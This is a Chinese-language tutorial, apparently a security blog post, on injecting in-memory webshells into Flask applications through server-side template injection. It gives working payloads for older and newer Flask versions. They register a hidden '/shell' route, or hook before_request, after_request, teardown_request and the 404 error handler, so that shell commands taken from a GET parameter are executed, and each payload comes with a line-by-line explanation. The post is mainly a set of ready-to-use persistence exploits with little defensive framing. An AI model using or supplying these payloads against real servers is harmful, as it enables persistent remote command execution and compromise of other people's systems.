debug模式
如果程序开启了debug模式,那么一般是要计算pin值,计算出pin值就很简单了。
非debug模式
0x01 旧版内存马
低版本的flask(ssti)一般可以直接使用以下payload:
1 | url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']}) |
原理:
第一行利用url_for函数作为入口点获取了当前命名空间的__builtins__模块,然后调用eval函数。
这个eval传入了两个参数,看第二个
1 | { |
这里需要介绍一下eval的第二个参数:
eval的第二个参数允许传入一个字典,一般是用来指定表达式执行的全局变量命名空间(globals)
接下来再去理解第二个参数中传入的值就很好了。_request_ctx_stack
是一个请求上下文栈。请求上下文是指在处理HTTP请求的过程中,Flask创建的一个临时环境,用来存储和管理与当前请求相关的信息url_for.__globals__['current_app']
是当前运行的app。
然后看一下执行的代码
1 | "app.add_url_rule( |
app.add_url_rule()是一个可以用来动态的添加路由的方法,我们可以通过这个方法动态的添加一个路由,其中我们可以通过匿名函数来处理这个路由的请求。
为了获取我们注入的命令,我们还需要当前HTTP请求的request对象,这也就是我们一开始要获取_request_ctx_stack
的原因。在这个栈里,栈顶元素_request_ctx_stack.top自然就是我们当前请求的上下文,其中包含request对象,于是我们就可以获取当前请求GET传参的值,进而执行我们传入的命令。
0x02 新版内存马
比较新的flask版本,不允许我们在运行app的时候调用它的add_url_rule函数。
在阅读了大佬们写的文章后,我得知了可以使用flask自带的钩子函数,来达到注入内存马的目的。
before_request
before_request()是Flask下的一个解释器,服务端在处理请求之前会调用before_request所设置的回调函数对请求进行预处理,比如说,身份验证、权限检查等。
我们可以通过调用app.before_request_funcs.setdefault()函数来为我们的before_request设置处理函数,在SSTI的过程中我们需要获取到eval函数或者exec函数来插入内存马。
payload:
1 | __import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('whoami').read()) |
跟旧版的一样,我们需要先获取上下文。
因此在eval执行命令的时候我们可以使用:
1 | app.before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('whoami').read()),{'app':url_for.__globals__['current_app']} |
但是原内容会被before_request的返回内容覆盖,我们可以使用after_request解决这个问题。
after_request
先看以下函数介绍:
这个解释器要求我们接收一个response对象,并且返回一个response对象。因此我们在定义匿名函数的时候需要设置一个参数(默认为respose类型)
payload:
1 | app.after_request_funcs.setdefault(None,[]).append(lambda resp: make_response(__import__('os').popen(request.args.get('cmd')).read()) if request.args.get('cmd') else resp) |
SSTI中用法跟before_request一样。
teardown_request
跟after_request用法一模一样,但是没有回显。
errorhandler
errorhandler装饰器允许我们自定义报错界面
比如:
1 | @app.errorhandler(404) |
通过errorhandler绑定一个钩子函数,然后HTTP状态码为404时就调用我们自定义的函数,那么我们就可以加以利用。
payload:
1 | exec("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('gxngxngxn')).read()") |
要用exec执行命令,eval不支持执行多条python命令。